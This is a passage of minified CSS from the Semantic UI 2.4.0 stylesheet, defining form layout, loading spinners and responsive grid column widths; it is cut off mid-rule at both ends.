.field.disabled :disabled{opacity:1}.ui.loading.form{position:relative;cursor:default;pointer-events:none}.ui.loading.form:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;z-index:100}.ui.loading.form:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:form-spin .6s linear;animation:form-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.form .required.field>.checkbox:after,.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>label:after{margin:-.2em 0 0 .2em;content:'*';color:#db2828}.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>label:after{display:inline-block;vertical-align:top}.ui.form .required.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after{position:absolute;top:0;left:100%}.ui.form .inverted.segment .ui.checkbox .box,.ui.form .inverted.segment .ui.checkbox label,.ui.form .inverted.segment label,.ui.inverted.form .inline.field>label,.ui.inverted.form .inline.field>p,.ui.inverted.form .inline.fields .field>label,.ui.inverted.form .inline.fields .field>p,.ui.inverted.form .inline.fields>label,.ui.inverted.form .ui.checkbox .box,.ui.inverted.form .ui.checkbox label,.ui.inverted.form label{color:rgba(255,255,255,.9)}.ui.inverted.form input:not([type]),.ui.inverted.form input[type=date],.ui.inverted.form input[type=datetime-local],.ui.inverted.form input[type=email],.ui.inverted.form input[type=file],.ui.inverted.form input[type=number],.ui.inverted.form input[type=password],.ui.inverted.form input[type=search],.ui.inverted.form input[type=tel],.ui.inverted.form input[type=text],.ui.inverted.form input[type=time],.ui.inverted.form input[type=url]{background:#fff;border-color:rgba(255,255,255,.1);color:rgba(0,0,0,.87);-webkit-box-shadow:none;box-shadow:none}.ui.form .grouped.fields{display:block;margin:0 0 1em}.ui.form .grouped.fields:last-child{margin-bottom:0}.ui.form .grouped.fields>label{margin:0 0 .28571429rem 0;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form .grouped.fields .field,.ui.form .grouped.inline.fields .field{display:block;margin:.5em 0;padding:0}.ui.form .fields{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;margin:0 -.5em 1em}.ui.form .fields>.field{-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;padding-left:.5em;padding-right:.5em}.ui.form .fields>.field:first-child{border-left:none;-webkit-box-shadow:none;box-shadow:none}.ui.form .two.fields>.field,.ui.form .two.fields>.fields{width:50%}.ui.form .three.fields>.field,.ui.form .three.fields>.fields{width:33.33333333%}.ui.form .four.fields>.field,.ui.form .four.fields>.fields{width:25%}.ui.form .five.fields>.field,.ui.form .five.fields>.fields{width:20%}.ui.form .six.fields>.field,.ui.form .six.fields>.fields{width:16.66666667%}.ui.form .seven.fields>.field,.ui.form .seven.fields>.fields{width:14.28571429%}.ui.form .eight.fields>.field,.ui.form .eight.fields>.fields{width:12.5%}.ui.form .nine.fields>.field,.ui.form .nine.fields>.fields{width:11.11111111%}.ui.form .ten.fields>.field,.ui.form .ten.fields>.fields{width:10%}@media only screen and (max-width:767px){.ui.form .fields{-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.form:not(.unstackable) .eight.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .eight.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .five.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .five.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .four.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .four.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .nine.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .nine.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .seven.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .seven.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .six.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .six.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .ten.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .ten.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .three.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .three.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .two.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .two.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) [class*="equal width"].fields:not(.unstackable)>.field,.ui[class*="equal width"].form:not(.unstackable) .fields>.field{width:100%!important;margin:0 0 1em}}.ui.form .fields .wide.field{width:6.25%;padding-left:.5em;padding-right:.5em}.ui.form .one.wide.field{width:6.25%!important}.ui.form .two.wide.field{width:12.5%!important}.ui.form .three.wide.field{width:18.75%!important}.ui.form .four.wide.field{width:25%!important}.ui.form .five.wide.field{width:31.25%!important}.ui.form .six.wide.field{width:37.5%!important}.ui.form .seven.wide.field{width:43.75%!important}.ui.form .eight.wide.field{width:50%!important}.ui.form .nine.wide.field{width:56.25%!important}.ui.form .ten.wide.field{width:62.5%!important}.ui.form .eleven.wide.field{width:68.75%!important}.ui.form .twelve.wide.field{width:75%!important}.ui.form .thirteen.wide.field{width:81.25%!important}.ui.form .fourteen.wide.field{width:87.5%!important}.ui.form .fifteen.wide.field{width:93.75%!important}.ui.form .sixteen.wide.field{width:100%!important}@media only screen and (max-width:767px){.ui.form:not(.unstackable) .fields:not(.unstackable)>.eight.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.eleven.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.fifteen.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.five.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.four.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.fourteen.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.nine.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.seven.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.six.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.sixteen.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.ten.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.thirteen.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.three.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.twelve.wide.field,.ui.form:not(.unstackable) .fields:not(.unstackable)>.two.wide.field,.ui.form:not(.unstackable) .five.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .five.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .four.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .four.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .three.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .three.fields:not(.unstackable)>.fields,.ui.form:not(.unstackable) .two.fields:not(.unstackable)>.field,.ui.form:not(.unstackable) .two.fields:not(.unstackable)>.fields{width:100%!important}.ui.form .fields{margin-bottom:0}}.ui.form [class*="equal width"].fields>.field,.ui[class*="equal width"].form .fields>.field{width:100%;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto}.ui.form .inline.fields{margin:0 0 1em;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .field{margin:0;padding:0 1em 0 0}.ui.form .inline.field>label,.ui.form .inline.field>p,.ui.form .inline.fields .field>label,.ui.form .inline.fields .field>p,.ui.form .inline.fields>label{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:baseline;font-size:.92857143em;font-weight:700;color:rgba(0,0,0,.87);text-transform:none}.ui.form .inline.fields>label{margin:.035714em 1em 0 0}.ui.form .inline.field>input,.ui.form .inline.field>select,.ui.form .inline.fields .field>input,.ui.form .inline.fields .field>select{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:middle;font-size:1em}.ui.form .inline.field>:first-child,.ui.form .inline.fields .field>:first-child{margin:0 .85714286em 0 0}.ui.form .inline.field>:only-child,.ui.form .inline.fields .field>:only-child{margin:0}.ui.form .inline.fields .wide.field{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .wide.field>input,.ui.form .inline.fields .wide.field>select{width:100%}.ui.mini.form{font-size:.78571429rem}.ui.tiny.form{font-size:.85714286rem}.ui.small.form{font-size:.92857143rem}.ui.form{font-size:1rem}.ui.large.form{font-size:1.14285714rem}.ui.big.form{font-size:1.28571429rem}.ui.huge.form{font-size:1.42857143rem}.ui.massive.form{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Grid + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.grid{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;padding:0}.ui.grid{margin-top:-1rem;margin-bottom:-1rem;margin-left:-1rem;margin-right:-1rem}.ui.relaxed.grid{margin-left:-1.5rem;margin-right:-1.5rem}.ui[class*="very relaxed"].grid{margin-left:-2.5rem;margin-right:-2.5rem}.ui.grid+.grid{margin-top:1rem}.ui.grid>.column:not(.row),.ui.grid>.row>.column{position:relative;display:inline-block;width:6.25%;padding-left:1rem;padding-right:1rem;vertical-align:top}.ui.grid>*{padding-left:1rem;padding-right:1rem}.ui.grid>.row{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:inherit;-ms-flex-pack:inherit;justify-content:inherit;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%!important;padding:0;padding-top:1rem;padding-bottom:1rem}.ui.grid>.column:not(.row){padding-top:1rem;padding-bottom:1rem}.ui.grid>.row>.column{margin-top:0;margin-bottom:0}.ui.grid>.row>.column>img,.ui.grid>.row>img{max-width:100%}.ui.grid>.ui.grid:first-child{margin-top:0}.ui.grid>.ui.grid:last-child{margin-bottom:0}.ui.aligned.grid .column>.segment:not(.compact):not(.attached),.ui.grid .aligned.row>.column>.segment:not(.compact):not(.attached){width:100%}.ui.grid .row+.ui.divider{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;margin:1rem 1rem}.ui.grid .column+.ui.vertical.divider{height:calc(50% - 1rem)}.ui.grid>.column:last-child>.horizontal.segment,.ui.grid>.row>.column:last-child>.horizontal.segment{-webkit-box-shadow:none;box-shadow:none}@media only screen and (max-width:767px){.ui.page.grid{width:auto;padding-left:0;padding-right:0;margin-left:0;margin-right:0}}@media only screen and (min-width:768px) and (max-width:991px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:2em;padding-right:2em}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:3%;padding-right:3%}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:15%;padding-right:15%}}@media only screen and (min-width:1920px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:23%;padding-right:23%}}.ui.grid>.column:only-child,.ui.grid>.row>.column:only-child{width:100%}.ui[class*="one column"].grid>.column:not(.row),.ui[class*="one column"].grid>.row>.column{width:100%}.ui[class*="two column"].grid>.column:not(.row),.ui[class*="two column"].grid>.row>.column{width:50%}.ui[class*="three column"].grid>.column:not(.row),.ui[class*="three column"].grid>.row>.column{width:33.33333333%}.ui[class*="four column"].grid>.column:not(.row),.ui[class*="four column"].grid>.row>.column{width:25%}.ui[class*="five column"].grid>.column:not(.row),.ui[class*="five column"].grid>.row>.column{width:20%}.ui[class*="six column"].grid>.column:not(.row),.ui[class*="six column"].grid>.row>.column{width:16.66666667%}.ui[class*="seven column"].grid>.column:not(.row),.ui[class*="seven column"].grid>.row>.column{width:14.28571429%}.ui[class*="eight column"].grid>.column:not(.row),.ui[class*="eight column"].grid>.row>.column{width:12.5%}.ui[class*="nine column"].grid>.column:not(.row),.ui[class*="nine column"].grid>.row>.column{width:11.11111111%}.ui[class*="ten column"].grid>.column:not(.row),.ui[class*="ten column"].grid>.row>.column{width:10%}.ui[class*="eleven column"].grid>.column:not(.row),.ui[class*="eleven column"].grid>.row>.column{width:9.09090909%}.ui[class*="twelve column"].grid>.column:not(.row),.ui[class*="twelve column"].grid>.row>.column{width:8.33333333%}.ui[class*="thirteen column"].grid>.column:not(.row),.ui[class*="thirteen column"].grid>.row>.column{width:7.69230769%}.ui[class*="fourteen column"].grid>.column:not(.row),.ui[class*="fourteen column"].grid>.row>.column{width:7.14285714%}.ui[class*="fifteen column"].grid>.column:not(.row),.ui[class*="fifteen column"].grid>.row>.column{width:6.66666667%}.ui[class*="sixteen column"].grid>.column:not(.row),.ui[class*="sixteen column"].grid>.row>.column{width:6.25%}.ui.grid>[class*="one column"].row>.column{width:100%!important}.ui.grid>[class*="two column"].row>.column{width:50%!important}.ui.grid>[class*="three column"].row>.column{width:33.33333333%!important}.ui.grid>[class*="four column"].row>.column{width:25%!important}.ui.grid>[class*="five column"].row>.column{width:20%!important}.ui.grid>[class*="six column"].row>.column{width:16.66666667%!important}.ui.grid>[class*="seven column"].row>.column{width:14.28571429%!important}.ui.grid>[class*="eight column"].row>.column{width:12.5%!important}.ui.grid>[class*="nine column"].row>.column{width:11.11111111%!important}.ui.grid>[class*="ten column"].row>.column{width:10%!important}.ui.grid>[class*="eleven column"].row>.column{width:9.09090909%!important}.ui.grid>[class*="twelve column"].row>.column{width:8.33333333%!important}.ui.grid>[class*="thirteen column"].row>.column{width:7.69230769%!important}.ui.grid>[class*="fourteen column"].row>.column{width:7.14285714%!important}.ui.grid>[class*="fifteen column"].row>.column{width:6.66666667%!important}.ui.grid>[class*="sixteen column"].row>.column{width:6.25%!important}.ui.celled.page.grid{-webkit-box-shadow:none;box-shadow:none}.ui.column.grid>[class*="one wide"].column,.ui.grid>.column.row>[class*="one wide"].column,.ui.grid>.row>[class*="one wide"].column,.ui.grid>[class*="one wide"].column{width:6.25%!important}.ui.column.grid>[class*="two wide"].column,.ui.grid>.column.row>[class*="two wide"].column,.ui.grid>.row>[class*="two wide"].column,.ui.grid>[class*="two wide"].column{width:12.5%!important}.ui.column.grid>[class*="three wide"].column,.ui.grid>.column.row>[class*="three wide"].column,.ui.grid>.row>[class*="three wide"].column,.ui.grid>[class*="three wide"].column{width:18.75%!important}.ui.column.grid>[class*="four wide"].column,.ui.grid>.column.row>[class*="four wide"].column,.ui.grid>.row>[class*="four wide"].column,.ui.grid>[class*="four wide"].column{width:25%!important}.ui.column.grid>[class*="five wide"].column,.ui.grid>.column.row>[class*="five wide"].column,.ui.grid>.row>[class*="five wide"].column,.ui.grid>[class*="five wide"].column{width:31.25%!important}.ui.column.grid>[class*="six wide"].column,.ui.grid>.column.row>[class*="six wide"].column,.ui.grid>.row>[class*="six wide"].column,.ui.grid>[class*="six wide"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide"].column,.ui.grid>.column.row>[class*="seven wide"].column,.ui.grid>.row>[class*="seven wide"].column,.ui.grid>[class*="seven wide"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide"].column,.ui.grid>.column.row>[class*="eight wide"].column,.ui.grid>.row>[class*="eight wide"].column,.ui.grid>[class*="eight wide"].column{width:50%!important}.ui.column.grid>[class*="nine wide"].column,.ui.grid>.column.row>[class*="nine wide"].column,.ui.grid>.row>[class*="nine wide"].column,.ui.grid>[class*="nine wide"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide"].column,.ui.grid>.column.row>[class*="ten wide"].column,.ui.grid>.row>[class*="ten wide"].column,.ui.grid>[class*="ten wide"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide"].column,.ui.grid>.column.row>[class*="eleven wide"].column,.ui.grid>.row>[class*="eleven wide"].column,.ui.grid>[class*="eleven wide"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide"].column,.ui.grid>.column.row>[class*="twelve wide"].column,.ui.grid>.row>[class*="twelve wide"].column,.ui.grid>[class*="twelve wide"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide"].column,.ui.grid>.column.row>[class*="thirteen wide"].column,.ui.grid>.row>[class*="thirteen wide"].column,.ui.grid>[class*="thirteen wide"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide"].column,.ui.grid>.column.row>[class*="fourteen wide"].column,.ui.grid>.row>[class*="fourteen wide"].column,.ui.grid>[class*="fourteen wide"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide"].column,.ui.grid>.column.row>[class*="fifteen wide"].column,.ui.grid>.row>[class*="fifteen wide"].column,.ui.grid>[class*="fifteen wide"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide"].column,.ui.grid>.column.row>[class*="sixteen wide"].column,.ui.grid>.row>[class*="sixteen wide"].column,.ui.grid>[class*="sixteen wide"].column{width:100%!important}@media only screen and (min-width:320px) and (max-width:767px){.ui.column.grid>[class*="one wide mobile"].column,.ui.grid>.column.row>[class*="one wide mobile"].column,.ui.grid>.row>[class*="one wide mobile"].column,.ui.grid>[class*="one wide mobile"].column{width:6.25%!important}.ui.column.grid>[class*="two wide mobile"].column,.ui.grid>.column.row>[class*="two wide mobile"].column,.ui.grid>.row>[class*="two wide mobile"].column,.ui.grid>[class*="two wide mobile"].column{width:12.5%!important}.ui.column.grid>[class*="three wide mobile"].column,.ui.grid>.column.row>[class*="three wide mobile"].column,.ui.grid>.row>[class*="three wide mobile"].column,.ui.grid>[class*="three wide mobile"].column{width:18.75%!important}.ui.column.grid>[class*="four wide mobile"].column,.ui.grid>.column.row>[class*="four wide mobile"].column,.ui.grid>.row>[class*="four wide mobile"].column,.ui.grid>[class*="four wide mobile"].column{width:25%!important}.ui.column.grid>[class*="five wide mobile"].column,.ui.grid>.column.row>[class*="five wide mobile"].column,.ui.grid>.row>[class*="five wide mobile"].column,.ui.grid>[class*="five wide mobile"].column{width:31.25%!important}.ui.column.grid>[class*="six wide mobile"].column,.ui.grid>.column.row>[class*="six wide mobile"].column,.ui.grid>.row>[class*="six wide mobile"].column,.ui.grid>[class*="six wide mobile"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide mobile"].column,.ui.grid>.column.row>[class*="seven wide mobile"].column,.ui.grid>.row>[class*="seven wide mobile"].column,.ui.grid>[class*="seven wide mobile"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide mobile"].column,.ui.grid>.column.row>[class*="eight wide mobile"].column,.ui.grid>.row>[class*="eight wide mobile"].column,.ui.grid>[class*="eight wide mobile"].column{width:50%!important}.ui.column.grid>[class*="nine wide mobile"].column,.ui.grid>.column.row>[class*="nine wide mobile"].column,.ui.grid>.row>[class*="nine wide mobile"].column,.ui.grid>[class*="nine wide mobile"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide mobile"].column,.ui.grid>.column.row>[class*="ten wide mobile"].column,.ui.grid>.row>[class*="ten wide mobile"].column,.ui.grid>[class*="ten wide mobile"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide mobile"].column,.ui.grid>.column.row>[class*="eleven wide mobile"].column,.ui.grid>.row>[class*="eleven wide mobile"].column,.ui.grid>[class*="eleven wide mobile"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide mobile"].column,.ui.grid>.column.row>[class*="twelve wide mobile"].column,.ui.grid>.row>[class*="twelve wide mobile"].column,.ui.grid>[class*="twelve wide mobile"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide mobile"].column,.ui.grid>.column.row>[class*="thirteen wide mobile"].column,.ui.grid>.row>[class*="thirteen wide mobile"].column,.ui.grid>[class*="thirteen wide mobile"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide mobile"].column,.ui.grid>.column.row>[class*="fourteen wide mobile"].column,.ui.grid>.row>[class*="fourteen wide mobile"].column,.ui.grid>[class*="fourteen wide mobile"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide mobile"].column,.ui.grid>.column.row>[class*="fifteen wide mobile"].column,.ui.grid>.row>[class*="fifteen wide mobile"].column,.ui.grid>[class*="fifteen wide mobile"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide mobile"].column,.ui.grid>.column.row>[class*="sixteen wide mobile"].column,.ui.grid>.row>[class*="sixteen wide mobile"].column,.ui.grid>[class*="sixteen wide mobile"].column{width:100%!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.column.grid>[class*="one wide tablet"].column,.ui.grid>.column.row>[class*="one wide tablet"].column,.ui.grid>.row>[class*="one wide tablet"].column,.ui.grid>[class*="one wide tablet"].column{width:6.25%!important}.ui.column.grid>[class*="two wide tablet"].column,.ui.grid>.column.row>[class*="two wide tablet"].column,.ui.grid>.row>[class*="two wide tablet"].column,.ui.grid>[class*="two wide tablet"].column{width:12.5%!important}.ui.column.grid>[class*="three wide tablet"].column,.ui.grid>.column.row>[class*="three wide tablet"].column,.ui.grid>.row>[class*="three wide tablet"].column,.ui.grid>[class*="three wide tablet"].column{width:18.75%!important}.ui.column.grid>[class*="four wide tablet"].column,.ui.grid>.column.row>[class*="four wide tablet"].column,.ui.grid>.row>[class*="four wide tablet"].column,.ui.grid>[class*="four wide tablet"].column{width:25%!important}.ui.column.grid>[class*="five wide tablet"].column,.ui.grid>.column.row>[class*="five wide tablet"].column,.ui.grid>.row>[class*="five wide tablet"].column,.ui.grid>[class*="five wide tablet"].column{width:31.25%!important}.ui.column.grid>[class*="six wide tablet"].column,.ui.grid>.column.row>[class*="six wide tablet"].column,.ui.grid>.row>[class*="six wide tablet"].column,.ui.grid>[class*="six wide tablet"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide tablet"].column,.ui.grid>.column.row>[class*="seven wide tablet"].column,.ui.grid>.row>[class*="seven wide tablet"].column,.ui.grid>[class*="seven wide tablet"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide tablet"].column,.ui.grid>.column.row>[class*="eight wide tablet"].column,.ui.grid>.row>[class*="eight wide tablet"].column,.ui.grid>[class*="eight wide tablet"].column{width:50%!important}.ui.column.grid>[class*="nine wide tablet"].column,.ui.grid>.column.row>[class*="nine wide tablet"].column,.ui.grid>.row>[class*="nine wide tablet"].column,.ui.grid>[class*="nine wide tablet"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide tablet"].column,.ui.grid>.column.row>[class*="ten wide tablet"].column,.ui.grid>.row>[class*="ten wide tablet"].column,.ui.grid>[class*="ten wide tablet"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide tablet"].column,.ui.grid>.column.row>[class*="eleven wide tablet"].column,.ui.grid>.row>[class*="eleven wide tablet"].column,.ui.grid>[class*="eleven wide tablet"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide tablet"].column,.ui.grid>.column.row>[class*="twelve wide tablet"].column,.ui.grid>.row>[class*="twelve wide tablet"].column,.ui.grid>[class*="twelve wide tablet"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide tablet"].column,.ui.grid>.column.row>[class*="thirteen wide tablet"].column,.ui.grid>.row>[class*="thirteen wide tablet"].column,.ui.grid>[class*="thirteen wide tablet"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide tablet"].column,.ui.grid>.column.row>[class*="fourteen wide tablet"].column,.ui.grid>.row>[class*="fourteen wide tablet"].column,.ui.grid>[class*="fourteen wide tablet"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide tablet"].column,.ui.grid>.column.row>[class*="fifteen wide tablet"].column,.ui.grid>.row>[class*="fifteen wide tablet"].column,.ui.grid>[class*="fifteen wide tablet"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide tablet"].column,.ui.grid>.column.row>[class*="sixteen wide tablet"].column,.ui.grid>.row>[class*="sixteen wide tablet"].column,.ui.grid>[class*="sixteen wide tablet"].column{width:100%!important}}@media only screen and (min-width:992px){.ui.column.grid>[class*="one wide computer"].column,.ui.grid>.column.row>[class*="one wide computer"].column,.ui.grid>.row>[class*="one wide computer"].column,.ui.grid>[class*="one wide computer"].column{width:6.25%!important}.ui.column.grid>[class*="two wide computer"].column,.ui.grid>.column.row>[class*="two wide computer"].column,.ui.grid>.row>[class*="two wide computer"].column,.ui.grid>[class*="two wide computer"].column{width:12.5%!important}.ui.column.grid>[class*="three wide computer"].column,.ui.grid>.column.row>[class*="three wide computer"].column,.ui.grid>.row>[class*="three wide computer"].column,.ui.grid>[class*="three wide computer"].column{width:18.75%!important}.ui.column.grid>[class*="four wide computer"].column,.ui.grid>.column.row>[class*="four wide computer"].column,.ui.grid>.row>[class*="four wide computer"].column,.ui.grid>[class*="four wide computer"].column{width:25%!important}.ui.column.grid>[class*="five wide computer"].column,.ui.grid>.column.row>[class*="five wide computer"].column,.ui.grid>.row>[class*="five wide computer"].column,.ui.grid>[class*="five wide computer"].column{width:31.25%!important}.ui.column.grid>[class*="six wide computer"].column,.ui.grid>.column.row>[class*="six wide computer"].column,.ui.grid>.row>[class*="six wide computer"].column,.ui.grid>[class*="six wide computer"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide computer"].column,.ui.grid>.column.row>[class*="seven wide computer"].column,.ui.grid>.row>[class*="seven wide computer"].column,.ui.grid>[class*="seven wide computer"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide computer"].column,.ui.grid>.column.row>[class*="eight wide computer"].column,.ui.grid>.row>[class*="eight wide computer"].column,.ui.grid>[class*="eight wide computer"].column{width:50%!important}.ui.column.grid>[class*="nine wide computer"].column,.ui.grid>.column.row>[class*="nine wide computer"].column,.ui.grid>.row>[class*="nine wide computer"].column,.ui.grid>[class*="nine wide computer"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide computer"].column,.ui.grid>.column.row>[class*="ten wide computer"].column,.ui.grid>.row>[class*="ten wide computer"].column,.ui.grid>[class*="ten wide computer"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide computer"].column,.ui.grid>.column.row>[class*="eleven wide computer"].column,.ui.grid>.row>[class*="eleven wide computer"].column,.ui.grid>[class*="eleven wide computer"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide computer"].column,.ui.grid>.column.row>[class*="twelve wide computer"].column,.ui.grid>.row>[class*="twelve wide computer"].column,.ui.grid>[class*="twelve wide computer"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide computer"].column,.ui.grid>.column.row>[class*="thirteen wide computer"].column,.ui.grid>.row>[class*="thirteen wide computer"].column,.ui.grid>[class*="thirteen wide computer"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide computer"].column,.ui.grid>.column.row>[class*="fourteen wide computer"].column,.ui.grid>.row>[class*="fourteen wide computer"].column,.ui.grid>[class*="fourteen wide computer"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide computer"].column,.ui.grid>.column.row>[class*="fifteen wide computer"].column,.ui.grid>.row>[class*="fifteen wide computer"].column,.ui.grid>[class*="fifteen wide computer"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide computer"].column,.ui.grid>.column.row>[class*="sixteen wide computer"].column,.ui.grid>.row>[class*="sixteen wide computer"].column,.ui.grid>[class*="sixteen wide computer"].column{width:100%!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.column.grid>[class*="one wide large screen"].column,.ui.grid>.column.row>[class*="one wide large screen"].column,.ui.grid>.row>[class*="one wide large screen"].column,.ui.grid>[class*="one wide large screen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide large screen"].column,.ui.grid>.column.row>[class*="two wide large screen"].column,.ui.grid>.row>[class*="two wide large screen"].column,.ui.grid>[class*="two wide large screen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide large screen"].column,.ui.grid>.column.row>[class*="three wide large screen"].column,.ui.grid>.row>[class*="three wide large screen"].column,.ui.grid>[class*="three wide large screen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide large screen"].column,.ui.grid>.column.row>[class*="four wide large screen"].column,.ui.grid>.row>[class*="four wide large screen"].column,.ui.grid>[class*="four wide large screen"].column{width:25%!important}.ui.column.grid>[class*="five wide large screen"].column,.ui.grid>.column.row>[class*="five wide large screen"].column,.ui.grid>.row>[class*="five wide large screen"].column,.ui.grid>[class*="five wide large screen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide large screen"].column,.ui.grid>.column.row>[class*="six wide large screen"].column,.ui.grid>.row>[class*="six wide large screen"].column,.ui.grid>[class*="six wide large screen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide large screen"].column,.ui.grid>.column.row>[class*="seven wide large screen"].column,.ui.grid>.row>[class*="seven wide large screen"].column,.ui.grid>[class*="seven wide large screen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide large screen"].column,.ui.grid>.column.row>[class*="eight wide large screen"].column,.ui.grid>.row>[class*="eight 